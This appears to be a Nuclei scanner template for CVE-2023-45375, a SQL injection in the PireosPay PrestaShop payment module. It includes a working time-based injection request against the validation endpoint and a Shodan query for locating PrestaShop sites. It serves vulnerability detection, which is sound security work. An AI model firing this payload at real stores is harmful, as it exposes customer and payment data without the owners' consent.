Description
In the module “PireosPay” (pireospay) up to version 1.7.9 from 01generator.com for PrestaShop, a guest can perform SQL injection in affected versions.
In the module “PireosPay” (pireospay) up to version 1.7.9 from 01generator.com for PrestaShop, a guest can perform SQL injection in affected versions.
id: CVE-2023-45375
info:
name: PrestaShop PireosPay - SQL Injection
author: MaStErChO
severity: high
description: |
In the module “PireosPay” (pireospay) up to version 1.7.9 from 01generator.com for PrestaShop, a guest can perform SQL injection in affected versions.
impact: |
Authenticated attackers can execute time-based SQL injection through the MerchantReference parameter in the validation endpoint to extract PrestaShop database information including customer and payment data.
remediation: |
Update PireosPay module to a version newer than 1.7.9 that properly sanitizes SQL parameters in the validation endpoint.
reference:
- https://security.friendsofpresta.org/modules/2023/10/12/pireospay.html
- https://github.com/fkie-cad/nvd-json-data-feeds
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2023-45375
cwe-id: CWE-89
epss-score: 0.38457
epss-percentile: 0.98493
cpe: cpe:2.3:a:01generator:pireospay:*:*:*:*:*:prestashop:*:*
metadata:
verified: true
max-request: 2
vendor: 01generator
product: pireospay
framework: prestashop
shodan-query: "http.component:\"prestashop\""
tags: time-based-sqli,cve,cve2023,sqli,prestashop,pireospay,01generator,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(body, "/modules/pireospay/")
condition: and
internal: true
- raw:
- |
@timeout: 20
POST /module/pireospay/validation HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
ajax=true&MerchantReference=1%22;select(0x73656c65637420736c6565702836293b)INTO@a;prepare`b`from@a;execute`b`;--
host-redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- duration>=6
- status_code == 302
- contains(content_type, "text/html")
condition: and
# digest: 490a00463044022006f1afdf8982466ec55e421a2fa62fbbe2d9a4d06df3e99a8ddb1a96ad09a132022069f11f7a3b514d60a4f832f46f5cd78f78c42c565d73db60811f628b3ede90dc:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.